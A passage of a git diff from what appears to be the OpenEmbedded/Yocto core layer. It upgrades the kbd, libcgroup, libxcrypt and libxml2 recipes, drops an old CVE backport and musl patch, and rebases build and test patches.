-RDEPENDS_${PN}-ptest = "make"
-
-inherit update-alternatives
-
-ALTERNATIVE_${PN} = "chvt deallocvt fgconsole openvt showkey"
-ALTERNATIVE_PRIORITY = "100"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/kbd/kbd_2.4.0.bb b/meta/recipes-core/kbd/kbd_2.4.0.bb
new file mode 100644
index 0000000000..8a68d647e2
--- /dev/null
+++ b/meta/recipes-core/kbd/kbd_2.4.0.bb
@@ -0,0 +1,46 @@
+SUMMARY = "Keytable files and keyboard utilities"
+HOMEPAGE = "http://www.kbd-project.org/"
+DESCRIPTION = "The kbd project contains tools for managing Linux console (Linux console, virtual terminals, keyboard, etc.) – mainly, what they do is loading console fonts and keyboard maps."
+# everything minus console-fonts is GPL-2.0-or-later
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=892f569a555ba9c07a568a7c0c4fa63a"
+
+inherit autotools gettext pkgconfig
+
+DEPENDS += "flex-native"
+
+RREPLACES:${PN} = "console-tools"
+RPROVIDES:${PN} = "console-tools"
+RCONFLICTS:${PN} = "console-tools"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/${BP}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "55f0740458cfd3a84e775e50d7e8b92dc01846db1edad8e2411ccc293ece9b9f"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
+ "
+
+PACKAGECONFIG[pam] = "--enable-vlock, --disable-vlock, libpam,"
+
+PACKAGES += "${PN}-consolefonts ${PN}-keymaps ${PN}-unimaps ${PN}-consoletrans"
+
+FILES:${PN}-consolefonts = "${datadir}/consolefonts"
+FILES:${PN}-consoletrans = "${datadir}/consoletrans"
+FILES:${PN}-keymaps = "${datadir}/keymaps"
+FILES:${PN}-unimaps = "${datadir}/unimaps"
+
+do_install:append () {
+ if [ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', '', d)} = yes ] \
+ && [ -f ${D}${sysconfdir}/pam.d/vlock ]; then
+ mv -f ${D}${sysconfdir}/pam.d/vlock ${D}${sysconfdir}/pam.d/vlock.kbd
+ fi
+}
+
+inherit update-alternatives
+
+ALTERNATIVE:${PN} = "chvt deallocvt fgconsole openvt showkey \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'vlock','', d)}"
+ALTERNATIVE_PRIORITY = "100"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch b/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch
deleted file mode 100644
index d133703dec..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 0d88b73d189ea3440ccaab00418d6469f76fa590 Mon Sep 17 00:00:00 2001
-From: Michal Hocko <mhocko@suse.com>
-Date: Wed, 18 Jul 2018 11:24:29 +0200
-Subject: [PATCH] cgrulesengd: remove umask(0)
-
-One of our partners has noticed that cgred daemon is creating a log file
-(/var/log/cgred) with too wide permissions (0666) and that is seen as
-a security bug because an untrusted user can write to otherwise
-restricted area. CVE-2018-14348 has been assigned to this issue.
-
-CVE: CVE-2018-14348
-Upstream-Status: Backport [https://sourceforge.net/p/libcg/libcg/ci/0d88b73d189ea3440ccaab00418d6469f76fa590]
-
-Signed-off-by: Michal Hocko <mhocko@suse.com>
-Acked-by: Balbir Singh <bsingharora@gmail.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- src/daemon/cgrulesengd.c | 3 ---
- 1 file changed, 3 deletions(-)
-
-diff --git a/src/daemon/cgrulesengd.c b/src/daemon/cgrulesengd.c
-index ea51f11..0d288f3 100644
---- a/src/daemon/cgrulesengd.c
-+++ b/src/daemon/cgrulesengd.c
-@@ -889,9 +889,6 @@ int cgre_start_daemon(const char *logp, const int logf,
- } else if (pid > 0) {
- exit(EXIT_SUCCESS);
- }
--
-- /* Change the file mode mask. */
-- umask(0);
- } else {
- flog(LOG_DEBUG, "Not using daemon mode\n");
- pid = getpid();
---
-2.13.3
-
diff --git a/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch b/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
deleted file mode 100644
index 65f4ef9a55..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch
+++ /dev/null
@@ -1,235 +0,0 @@
-commit ca780b4f7f71abeeb04a585f2a4d889caaa985fa
-Author: Isaac Dunham <ibid.ag@gmail.com>
-Date: Fri Sep 5 22:35:32 2014 -0700
-
- Remove __.*DECLS nonsense
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: libcgroup-0.41/include/libcgroup/config.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/config.h
-+++ libcgroup-0.41/include/libcgroup/config.h
-@@ -9,7 +9,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_config 5. Configuration
-@@ -107,6 +109,8 @@ int cgroup_config_create_template_group(
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /*_LIBCGROUP_CONFIG_H*/
-Index: libcgroup-0.41/include/libcgroup/error.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/error.h
-+++ libcgroup-0.41/include/libcgroup/error.h
-@@ -9,7 +9,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_errors 6. Error handling
-@@ -99,6 +101,8 @@ int cgroup_get_last_errno(void);
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_INIT_H */
-Index: libcgroup-0.41/include/libcgroup/groups.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/groups.h
-+++ libcgroup-0.41/include/libcgroup/groups.h
-@@ -11,7 +11,9 @@
- #include <stdbool.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * Flags for cgroup_delete_cgroup_ext().
-@@ -577,6 +579,8 @@ char *cgroup_get_cgroup_name(struct cgro
- */
-
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_GROUPS_H */
-Index: libcgroup-0.41/include/libcgroup/init.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/init.h
-+++ libcgroup-0.41/include/libcgroup/init.h
-@@ -9,7 +9,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_init 1. Initialization
-@@ -58,6 +60,8 @@ int cgroup_get_subsys_mount_point(const
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_INIT_H */
-Index: libcgroup-0.41/include/libcgroup/iterators.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/iterators.h
-+++ libcgroup-0.41/include/libcgroup/iterators.h
-@@ -11,7 +11,9 @@
- #include <features.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_iterators 3. Iterators
-@@ -423,6 +425,8 @@ int cgroup_get_subsys_mount_point_end(vo
- * @}
- */
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_ITERATORS_H */
-Index: libcgroup-0.41/include/libcgroup/tasks.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/tasks.h
-+++ libcgroup-0.41/include/libcgroup/tasks.h
-@@ -12,7 +12,9 @@
- #include <stdbool.h>
- #endif
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /** Flags for cgroup_change_cgroup_uid_gid(). */
- enum cgflags {
-@@ -204,6 +206,8 @@ int cgroup_register_unchanged_process(pi
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_TASKS_H */
-Index: libcgroup-0.41/src/daemon/cgrulesengd.h
-===================================================================
---- libcgroup-0.41.orig/src/daemon/cgrulesengd.h
-+++ libcgroup-0.41/src/daemon/cgrulesengd.h
-@@ -17,7 +17,9 @@
-
- #include <features.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- #include "config.h"
- #include "libcgroup.h"
-@@ -119,7 +121,9 @@ void cgre_flash_templates(int signum);
- */
- void cgre_catch_term(int signum);
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _CGRULESENGD_H */
-
-Index: libcgroup-0.41/src/libcgroup-internal.h
-===================================================================
---- libcgroup-0.41.orig/src/libcgroup-internal.h
-+++ libcgroup-0.41/src/libcgroup-internal.h
-@@ -16,7 +16,9 @@
-
- #define __LIBCG_INTERNAL
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- #include "config.h"
- #include <fts.h>
-@@ -279,6 +281,8 @@ extern void cgroup_dictionary_iterator_e
- */
- int cg_chmod_path(const char *path, mode_t mode, int owner_is_umask);
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif
-Index: libcgroup-0.41/include/libcgroup/log.h
-===================================================================
---- libcgroup-0.41.orig/include/libcgroup/log.h
-+++ libcgroup-0.41/include/libcgroup/log.h
-@@ -11,7 +11,9 @@
-
- #include <stdarg.h>
-
--__BEGIN_DECLS
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- /**
- * @defgroup group_log 7. Logging
-@@ -142,6 +144,8 @@ extern int cgroup_parse_log_level_str(co
- * @}
- * @}
- */
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* _LIBCGROUP_LOG_H */
diff --git a/meta/recipes-core/libcgroup/libcgroup_0.41.bb b/meta/recipes-core/libcgroup/libcgroup_0.41.bb
deleted file mode 100644
index 92d7261b0d..0000000000
--- a/meta/recipes-core/libcgroup/libcgroup_0.41.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Linux control group abstraction library"
-HOMEPAGE = "http://libcg.sourceforge.net/"
-DESCRIPTION = "libcgroup is a library that abstracts the control group file system \
-in Linux. Control groups allow you to limit, account and isolate resource usage \
-(CPU, memory, disk I/O, etc.) of groups of processes."
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
-
-inherit autotools pkgconfig
-
-DEPENDS = "bison-native flex-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/libcg/${BPN}/v0.41/${BPN}-${PV}.tar.bz2 \
- file://CVE-2018-14348.patch"
-SRC_URI_append_libc-musl = " file://musl-decls-compat.patch"
-
-SRC_URI[md5sum] = "3dea9d50b8a5b73ff0bf1cdcb210f63f"
-SRC_URI[sha256sum] = "e4e38bdc7ef70645ce33740ddcca051248d56b53283c0dc6d404e17706f6fb51"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libcg/files/libcgroup/"
-
-DEPENDS_append_libc-musl = " fts "
-EXTRA_OEMAKE_append_libc-musl = " LIBS=-lfts"
-
-PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
-PACKAGECONFIG[pam] = "--enable-pam-module-dir=${base_libdir}/security --enable-pam=yes,--enable-pam=no,libpam"
-
-PACKAGES =+ "cgroups-pam-plugin"
-FILES_cgroups-pam-plugin = "${base_libdir}/security/pam_cgroup.so*"
-FILES_${PN}-dev += "${base_libdir}/security/*.la"
-
-do_install_append() {
- # Moving libcgroup to base_libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mkdir -p ${D}/${base_libdir}/
- mv -f ${D}${libdir}/libcgroup.so.* ${D}${base_libdir}/
- rm -f ${D}${libdir}/libcgroup.so
- lnr ${D}${base_libdir}/libcgroup.so.1 ${D}${libdir}/libcgroup.so
- fi
- # pam modules in ${base_libdir}/security/ should be binary .so files, not symlinks.
- if [ -f ${D}${base_libdir}/security/pam_cgroup.so.0.0.0 ]; then
- mv -f ${D}${base_libdir}/security/pam_cgroup.so.0.0.0 ${D}${base_libdir}/security/pam_cgroup.so
- rm -f ${D}${base_libdir}/security/pam_cgroup.so.*
- fi
-}
diff --git a/meta/recipes-core/libcgroup/libcgroup_2.0.1.bb b/meta/recipes-core/libcgroup/libcgroup_2.0.1.bb
new file mode 100644
index 0000000000..857a4e86fd
--- /dev/null
+++ b/meta/recipes-core/libcgroup/libcgroup_2.0.1.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Linux control group abstraction library"
+HOMEPAGE = "http://libcg.sourceforge.net/"
+DESCRIPTION = "libcgroup is a library that abstracts the control group file system \
+in Linux. Control groups allow you to limit, account and isolate resource usage \
+(CPU, memory, disk I/O, etc.) of groups of processes."
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d5025d4aa3495befef8f17206a5b0a1"
+
+inherit autotools pkgconfig
+
+DEPENDS = "bison-native flex-native"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "2dd9c566a90a053e7a5f47607e225648ba7aa9bb7763514dd4778e2ed530fe90"
+UPSTREAM_CHECK_URI = "https://github.com/libcgroup/libcgroup/releases/"
+
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBS=-lfts"
+
+PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
+PACKAGECONFIG[pam] = "--enable-pam-module-dir=${base_libdir}/security --enable-pam=yes,--enable-pam=no,libpam"
+
+PACKAGES =+ "cgroups-pam-plugin"
+FILES:cgroups-pam-plugin = "${base_libdir}/security/pam_cgroup.so*"
+FILES:${PN}-dev += "${base_libdir}/security/*.la"
+FILES:${PN}-staticdev += "${base_libdir}/security/pam_cgroup.a"
+
+do_install:append() {
+ # Until we ship the test suite, this library isn't useful
+ rm -f ${D}${libdir}/libcgroupfortesting.*
+}
diff --git a/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch b/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch
new file mode 100644
index 0000000000..94aa3fed49
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch
@@ -0,0 +1,33 @@
+From 7b2a0cdc281d94a5782c37ef87040c341447b4b4 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Fri, 30 Apr 2021 10:35:02 +0100
+Subject: [PATCH] libxcrypt: Update to 4.4.19 release and fix symbol version
+
+If you pass CFLAGS with a leading space, " " gets passed to popen and convinces
+gcc to try and open a file called " ". This results in a confusing error message
+like:
+
+x86_64-pokysdk-linux-gcc: error: : No such file or directory
+
+Avoid this by stripping empty elements out of CFLAGS.
+
+Upstream-Status: Submitted [https://github.com/besser82/libxcrypt/pull/126]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ build-aux/scripts/compute-symver-floor | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/build-aux/scripts/compute-symver-floor b/build-aux/scripts/compute-symver-floor
+index 4ec82e1..8117342 100644
+--- a/build-aux/scripts/compute-symver-floor
++++ b/build-aux/scripts/compute-symver-floor
+@@ -36,6 +36,8 @@ sub preprocessor_check {
+ die "C compiler not available\n" unless @CC;
+
+ @CFLAGS = sh_split($ENV{CFLAGS} // q{});
++ # Remove empty elements, particularly leading ones which cause issues with popen below
++ @CFLAGS = grep {$_} @CFLAGS;
+
+ # Remove empty elements, particularly leading ones which
+ # cause issues with popen below.
diff --git a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.28.bb b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.28.bb
new file mode 100644
index 0000000000..ec9f9f4fa3
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.28.bb
@@ -0,0 +1,18 @@
+#
+# This provides libcrypto.so.1 which contains obsolete APIs, needed for uninative in particular
+#
+
+require libxcrypt.inc
+
+PROVIDES = ""
+AUTO_LIBNAME_PKGS = ""
+EXCLUDE_FROM_WORLD = "1"
+
+API = "--enable-obsolete-api"
+
+do_install:append () {
+ rm -rf ${D}${includedir}
+ rm -rf ${D}${libdir}/pkgconfig
+ rm -rf ${D}${datadir}
+}
+
diff --git a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.8.bb b/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.8.bb
deleted file mode 100644
index ebc4648a18..0000000000
--- a/meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.8.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# This provides libcrypto.so.1 which contains obsolete APIs, needed for uninative in particular
-#
-
-require libxcrypt_${PV}.bb
-
-PROVIDES = ""
-AUTO_LIBNAME_PKGS = ""
-EXCLUDE_FROM_WORLD = "1"
-
-API = "--enable-obsolete-api"
-
-do_install_append () {
- rm -rf ${D}${includedir}
- rm -rf ${D}${libdir}/pkgconfig
- rm -rf ${D}${datadir}
-}
-
diff --git a/meta/recipes-core/libxcrypt/libxcrypt.inc b/meta/recipes-core/libxcrypt/libxcrypt.inc
new file mode 100644
index 0000000000..39ba2636ff
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/libxcrypt.inc
@@ -0,0 +1,35 @@
+SUMMARY = "Extended cryptographic library (from glibc)"
+DESCRIPTION = "Forked code from glibc libary to extract only crypto part."
+HOMEPAGE = "https://github.com/besser82/libxcrypt"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSING;md5=c0a30e2b1502c55a7f37e412cd6c6a4b \
+ file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+inherit autotools pkgconfig
+
+SRC_URI = "git://github.com/besser82/libxcrypt.git;branch=${SRCBRANCH};protocol=https"
+SRCREV = "50cf2b6dd4fdf04309445f2eec8de7051d953abf"
+SRCBRANCH ?= "develop"
+
+SRC_URI += "file://fix_cflags_handling.patch"
+
+PROVIDES = "virtual/crypt"
+
+FILES:${PN} = "${libdir}/libcrypt*.so.* \
+ ${libdir}/libcrypt-*.so \
+ ${libdir}/libowcrypt*.so.* \
+ ${libdir}/libowcrypt-*.so \
+"
+
+S = "${WORKDIR}/git"
+
+BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
+TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir} -Wno-error"
+CPPFLAGS:append:class-nativesdk = " -Wno-error"
+
+API = "--disable-obsolete-api"
+EXTRA_OECONF += "${API}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/libxcrypt/libxcrypt_4.4.28.bb b/meta/recipes-core/libxcrypt/libxcrypt_4.4.28.bb
new file mode 100644
index 0000000000..79dba2f6dc
--- /dev/null
+++ b/meta/recipes-core/libxcrypt/libxcrypt_4.4.28.bb
@@ -0,0 +1,2 @@
+require libxcrypt.inc
+
diff --git a/meta/recipes-core/libxcrypt/libxcrypt_4.4.8.bb b/meta/recipes-core/libxcrypt/libxcrypt_4.4.8.bb
deleted file mode 100644
index 1787f6921e..0000000000
--- a/meta/recipes-core/libxcrypt/libxcrypt_4.4.8.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-SUMMARY = "Extended cryptographic library (from glibc)"
-DESCRIPTION = "Forked code from glibc libary to extract only crypto part."
-HOMEPAGE = "https://github.com/besser82/libxcrypt"
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM ?= "file://LICENSING;md5=3bb6614cf5880cbf1b9dbd9e3d145e2c \
- file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
-"
-
-inherit autotools pkgconfig
-
-SRC_URI = "git://github.com/besser82/libxcrypt.git;branch=${SRCBRANCH}"
-SRCREV = "acd84997a5a8b2badd28b70a642abee11272fad2"
-SRCBRANCH ?= "develop"
-
-PROVIDES = "virtual/crypt"
-
-FILES_${PN} = "${libdir}/libcrypt*.so.* \
- ${libdir}/libcrypt-*.so \
- ${libdir}/libowcrypt*.so.* \
- ${libdir}/libowcrypt-*.so \
-"
-
-S = "${WORKDIR}/git"
-
-BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
-TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir} -Wno-error"
-CPPFLAGS_append_class-nativesdk = " -Wno-error"
-
-API = "--disable-obsolete-api"
-EXTRA_OECONF += "${API}"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch b/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
index 2b92dbc8dc..6d9ede6194 100644
--- a/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
+++ b/meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch
@@ -1,4 +1,4 @@
-From 78dbd4c09d617a9cb730d796f94ee4d93840d3cc Mon Sep 17 00:00:00 2001
+From ea1993d1d9a18c5e61b9cb271892b0a48f508d32 Mon Sep 17 00:00:00 2001
From: Peter Kjellerstedt <pkj@axis.com>
Date: Fri, 9 Jun 2017 17:50:46 +0200
Subject: [PATCH] Make ptest run the python tests if python is enabled
@@ -9,17 +9,16 @@ be due to the fact that the tests are forced to run with Python 3.
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
---
- Makefile.am | 2 +-
- python/Makefile.am | 9 +++++++++
- python/tests/Makefile.am | 12 ++++++++++--
- python/tests/tstLastError.py | 2 +-
- 4 files changed, 21 insertions(+), 4 deletions(-)
+ Makefile.am | 2 +-
+ python/Makefile.am | 9 +++++++++
+ python/tests/Makefile.am | 10 ++++++++++
+ 3 files changed, 20 insertions(+), 1 deletion(-)
-Index: libxml2-2.9.7/Makefile.am
-===================================================================
---- libxml2-2.9.7.orig/Makefile.am
-+++ libxml2-2.9.7/Makefile.am
-@@ -207,9 +207,9 @@ install-ptest:
+diff --git a/Makefile.am b/Makefile.am
+index b428452b..dc18d6dd 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -203,9 +203,9 @@ install-ptest:
install $(check_PROGRAMS) $(DESTDIR))
cp -r $(srcdir)/test $(DESTDIR)
cp -r $(srcdir)/result $(DESTDIR)
@@ -30,11 +29,11 @@ Index: libxml2-2.9.7/Makefile.am
runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
-Index: libxml2-2.9.7/python/Makefile.am
-===================================================================
---- libxml2-2.9.7.orig/python/Makefile.am
-+++ libxml2-2.9.7/python/Makefile.am
-@@ -48,7 +48,16 @@ GENERATED = libxml2class.py libxml2class
+diff --git a/python/Makefile.am b/python/Makefile.am
+index 34aed96c..ba3ec6a4 100644
+--- a/python/Makefile.am
++++ b/python/Makefile.am
+@@ -48,7 +48,16 @@ GENERATED = libxml2class.py libxml2class.txt $(BUILT_SOURCES)
$(GENERATED): $(srcdir)/generator.py $(API_DESC)
$(PYTHON) $(srcdir)/generator.py $(srcdir)
@@ -51,10 +50,10 @@ Index: libxml2-2.9.7/python/Makefile.am
+.PHONY: tests test
tests test: all
cd tests && $(MAKE) tests
-Index: libxml2-2.9.7/python/tests/Makefile.am
-===================================================================
---- libxml2-2.9.7.orig/python/tests/Makefile.am
-+++ libxml2-2.9.7/python/tests/Makefile.am
+diff --git a/python/tests/Makefile.am b/python/tests/Makefile.am
+index 227e24df..3568c2d2 100644
+--- a/python/tests/Makefile.am
++++ b/python/tests/Makefile.am
@@ -59,6 +59,11 @@ XMLS= \
CLEANFILES = core tmp.xml *.pyc
@@ -67,30 +66,21 @@ Index: libxml2-2.9.7/python/tests/Makefile.am
tests: $(PYTESTS)
@for f in $(XMLS) ; do test -f $$f || $(LN_S) $(srcdir)/$$f . ; done
@echo "## running Python regression tests"
-@@ -68,8 +73,11 @@ tests: $(PYTESTS)
- export LD_LIBRARY_PATH; \
- for test in $(PYTESTS) ; \
- do log=`$(PYTHON) $(srcdir)/$$test` ; \
-- if [ "`echo $$log | grep OK`" = "" ] ; then \
-- echo "-- $$test" ; echo "$$log" ; fi ; done)
-+ if [ "`echo $$log | grep OK`" ]; then \
-+ echo "PASS: $$test"; else \
-+ echo "$$log"; echo "FAIL: $$test"; fi; done)
+@@ -70,9 +75,14 @@ tests: $(PYTESTS)
+ if [ "$$?" -ne 0 ] ; then \
+ echo "-- $$test" ; \
+ echo "$$log" ; \
++ echo "FAIL: $$test"; \
+ exit 1 ; \
++ else \
++ echo "PASS: $$test"; \
+ fi ; \
+ done)
else
+install-ptest:
+
tests:
endif
-Index: libxml2-2.9.7/python/tests/tstLastError.py
-===================================================================
---- libxml2-2.9.7.orig/python/tests/tstLastError.py
-+++ libxml2-2.9.7/python/tests/tstLastError.py
-@@ -25,7 +25,7 @@ class TestCase(unittest.TestCase):
- when the exception is raised, check the libxml2.lastError for
- expected values."""
- # disable the default error handler
-- libxml2.registerErrorHandler(None,None)
-+ libxml2.registerErrorHandler(lambda ctx,str: None,None)
- try:
- f(*args)
- except exc:
+--
+2.25.1
+
diff --git a/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch b/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
index e6998f6e68..d211f65da3 100644
--- a/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
+++ b/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
@@ -1,24 +1,35 @@
-From 43edc9a445ed66cceb7533eadeef242940b4592c Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 20:37:12 +0800
+From f57da62218cf72c1342da82abafdac6b0a2e4997 Mon Sep 17 00:00:00 2001
+From: Tony Tascioglu <tony.tascioglu@windriver.com>
+Date: Fri, 14 May 2021 11:50:35 -0400
Subject: [PATCH] AM_PATH_XML2 uses xml-config which we disable through
+
binconfig-disabled.bbclass, so port it to use pkg-config instead.
-Upstream-Status: Pending
+This cannot be upstreamed, as the original macro supports various
+optional arguments which cannot be supported with a direct call
+to pkg-config.
+
+Upstream-Status: Inappropriate [oe-core specific; see above]
Signed-off-by: Ross Burton <ross.burton@intel.com>
Rebase to 2.9.9
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+Updated to apply cleanly to v2.9.12
+
+Signed-off-by: Tony Tascioglu <tony.tascioglu@windriver.com>
---
- libxml.m4 | 186 ++------------------------------------------------------------
- 1 file changed, 5 insertions(+), 181 deletions(-)
+ libxml.m4 | 190 ++----------------------------------------------------
+ 1 file changed, 5 insertions(+), 185 deletions(-)
-diff --git a/libxml.m4 b/libxml.m4
-index 2d7a6f5..1c53585 100644
---- a/libxml.m4
-+++ b/libxml.m4
-@@ -1,188 +1,12 @@
+Index: libxml2-2.9.13/libxml.m4
+===================================================================
+--- libxml2-2.9.13.orig/libxml.m4
++++ libxml2-2.9.13/libxml.m4
+@@ -1,191 +1,12 @@
-# Configure paths for LIBXML2
+-# Simon Josefsson 2020-02-12
+-# Fix autoconf 2.70+ warnings
-# Mike Hommey 2004-06-19
-# use CPPFLAGS instead of CFLAGS
-# Toshio Kuratomi 2001-04-21
@@ -78,7 +89,8 @@ index 2d7a6f5..1c53585 100644
-dnl (Also sanity checks the results of xml2-config to some extent)
-dnl
- rm -f conf.xmltest
-- AC_TRY_RUN([
+- AC_RUN_IFELSE(
+- [AC_LANG_SOURCE([[
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
@@ -139,21 +151,20 @@ index 2d7a6f5..1c53585 100644
- {
- printf("\n*** An old version of libxml (%d.%d.%d) was found.\n",
- xml_major_version, xml_minor_version, xml_micro_version);
-- printf("*** You need a version of libxml newer than %d.%d.%d. The latest version of\n",
+- printf("*** You need a version of libxml newer than %d.%d.%d.\n",
- major, minor, micro);
-- printf("*** libxml is always available from ftp://ftp.xmlsoft.org.\n");
- printf("***\n");
- printf("*** If you have already installed a sufficiently new version, this error\n");
- printf("*** probably means that the wrong copy of the xml2-config shell script is\n");
- printf("*** being found. The easiest way to fix this is to remove the old version\n");
- printf("*** of LIBXML, but you can also set the XML2_CONFIG environment to point to the\n");
- printf("*** correct copy of xml2-config. (In this case, you will have to\n");
-- printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");
+- printf("*** modify your LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf\n");
- printf("*** so that the correct libraries are found at run-time))\n");
- }
- return 1;
-}
--],, no_xml=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
+-]])],, no_xml=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
- CPPFLAGS="$ac_save_CPPFLAGS"
- LIBS="$ac_save_LIBS"
- fi
@@ -178,10 +189,11 @@ index 2d7a6f5..1c53585 100644
- echo "*** Could not run libxml test program, checking why..."
